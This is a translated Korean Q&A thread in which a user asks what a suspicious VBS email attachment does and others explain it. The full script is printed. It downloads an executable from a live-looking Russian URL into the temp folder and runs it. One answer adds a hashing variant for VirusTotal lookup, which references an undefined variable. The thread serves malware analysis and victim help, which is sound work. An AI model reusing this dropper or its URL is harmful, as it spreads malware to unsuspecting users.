2016-06-09 4 views
2

누군가 내가 vbs 스크립트로 이메일을 보냈지 만, vbs를 모른다는 이유는 모르겠습니다.데이터가 누설 됨

나는 이것이 내게 어떤 데이터를 강탈하려는 사기라고 생각하지만 실제로 어떤 데이터인지는 알 수 없다. 누군가 scrtipt 할 것이라고 exlpain 제발 할 수 있습니까?

Sub HTTPUpload(myURL, myPath) 
Dim objShell 
Set objShell = WScript.CreateObject("WScript.Shell") 
Dim i, objFile, objFSO, objHTTP, strFile, strMsg 
Const ForReading = 1, ForWriting = 2, ForAppending = 8 
Set objFSO = CreateObject("Scripting.FileSystemObject") 
Const TemporaryFolder = 2 
Set tfolder = objFSO.GetSpecialFolder(TemporaryFolder) 
tname = objFSO.GetTempName + ".exe" 
myPath = tfolder + "/" + tname 
Set objFile = tfolder.CreateTextFile(tname) 
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") 
objHTTP.Open "GET", myURL, False 
objHTTP.Send 
For i = 1 To LenB(objHTTP.ResponseBody) 
    objFile.Write Chr(AscB(MidB(objHTTP.ResponseBody, i, 1))) 
Next 
objFile.Close() 
objShell.Run(myPath) 
Set objShell = Nothing 
End Sub 
HTTPUpload "http://baikalmix.ru/bitrix/js/seo/.../log.php?f=404", "" 
+3

스크립트는 마지막 행의 URL에서 무언가 (아마도 실행 파일)를 다운로드하여 실행하려고합니다. –

+0

'tname = objFSO.GetTempName + ".exe"는 확실히 실행 파일이 될 것입니다. 서버가 러시아에있는 다른 것들. 또한 프로그래밍 기술이 잘못되었습니다. 바이너리를 작성하려고하지만 텍스트 기능을 사용하려고합니다. –

+0

@AnsgarWiechers 실제로'exe' 파일을 로컬에서 생성 한 후 WinHttpRequest를 사용하여 원격 위치에서 실행 파일의 바이너리 내용을 주입 한 다음'WScript.Shell'' Run()'메소드를 사용하여 파일을 실행하려고 시도합니다 . – Lankymart

답변

2

다른 사람이 언급했듯이 바이러스가 될 수 있습니다. 바이너리 데이터를 다운로드하고 EXE 파일로 쓰고 자체를 껐습니다. 아래 코드로 수정할 수 있습니다. ... 이메일을 삭제하고 그 친구를 잊어 버릴 수도 있습니다. 나는 야생에서 바이러스를 발견 할 때 "모두"가 우리 중 일부만큼 미친 것은 알지 못합니다. 우리는 이러한 것들을 보관하고 연구합니다.

VirusTotal에서 검색 가능한 MD5 해시 및 SHA256 해시를 제공하는 몇 가지 변경 사항을 수정하고 즉시 파일을 삭제합니다. httpUpload에 해당 줄을 다시 추가하면됩니다. 그러면 다운로드 될 것입니다 ...하지만 아래에서 볼 수있는 것처럼 .Run 메서드를 사용하려고 시도한 줄은 제거했습니다.

HTTPUpload "http://baikalmix.ru/bitrix/js/seo/.../log.php?f=404", "" 

당신은 차단하지만, 여전히 VBS 파일이 있다면, 바로 그 전과 최종 하위 통해 하위 HttpUpload의 전체 섹션을 제거한다 제공하는 링크는 ...의 전체 내용을 교체 vbs 파일 (위에서 언급 한 행 제외).

Sub HTTPUpload(myURL, myPath) 
    Dim objShell 
    Set objShell = WScript.CreateObject("WScript.Shell") 
    Dim i, objFile, objFSO, objHTTP, strFile, strMsg 
    Const ForReading = 1, ForWriting = 2, ForAppending = 8 
    Set objFSO = CreateObject("Scripting.FileSystemObject") 
    Const TemporaryFolder = 2 
    Set tfolder = objFSO.GetSpecialFolder(TemporaryFolder) 
    tname = objFSO.GetTempName + ".exe" 
    myPath = tfolder + "/" + tname 
    Set objFile = tfolder.CreateTextFile(tname) 
    Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1") 
    objHTTP.Open "GET", myURL, False 
    objHTTP.Send 
    For i = 1 To LenB(objHTTP.ResponseBody) 
     objFile.Write Chr(AscB(MidB(objHTTP.ResponseBody, i, 1))) 
    Next 
    objFile.Close() 
    wscript.echo " MD5Hash: " & MD5Hash(sPath) & VbCrLf & " SHA256Hash: " & Sha256Hash(sPath) 
    Set objShell = Nothing 
End Sub 

Function MD5Hash(sPath) 
    MD5Hash = bytesToHex(MD5HashBytes(GetBytes(sPath))) 
End Function 
Function Sha256Hash(sPath) 
    Sha256Hash = bytesToHex(Sha256HashBytes(GetBytes(sPath))) 
End Function 

Function MD5HashBytes(aBytes) 
    Set objmd5 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider") 
    objmd5.Initialize() 
    MD5HashBytes = objmd5.ComputeHash_2((aBytes)) 
End Function 

Function Sha256HashBytes(aBytes) 
    'Set objsha256 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider") 
    Set objsha256 = CreateObject("System.Security.Cryptography.SHA256Managed") 
    objsha256.Initialize() 
    Sha256HashBytes = objsha256.ComputeHash_2((aBytes)) 
End Function 

Function StringtoUTFBytes(aString) 
    Set UTF8 = CreateObject("System.Text.UTF8Encoding") 
    StringtoUTFBytes = UTF8.GetBytes_4(aString) 
End Function 

Function BytesToHex(aBytes) 
    For x = 1 to LenB(aBytes) 
     hexStr=Hex(Ascb(MidB((aBytes), x, 1))) 
     if len(hexStr) = 1 Then hexStr ="0" & hexStr 
     bytesToHex=BytesToHex & hexStr 
    Next 
End Function 

Function BytesToBase64(varBytes) 
    With CreateObject("MSXML2.DomDocument").CreateElement("b64") 
     .dataType = "bin.base64" 
     .nodeTypedValue = varBytes 
     BytesToBase64 = .Text 
    End With 
End Function 

Function GetBytes(sPath) 
    With CreateObject("ADODB.Stream") 
     .Type = 1 
     .open 
     .LoadFromFile sPath 
     .Position = 0 
     GetBytes = .Read 
     .Close 
    End With 
End Function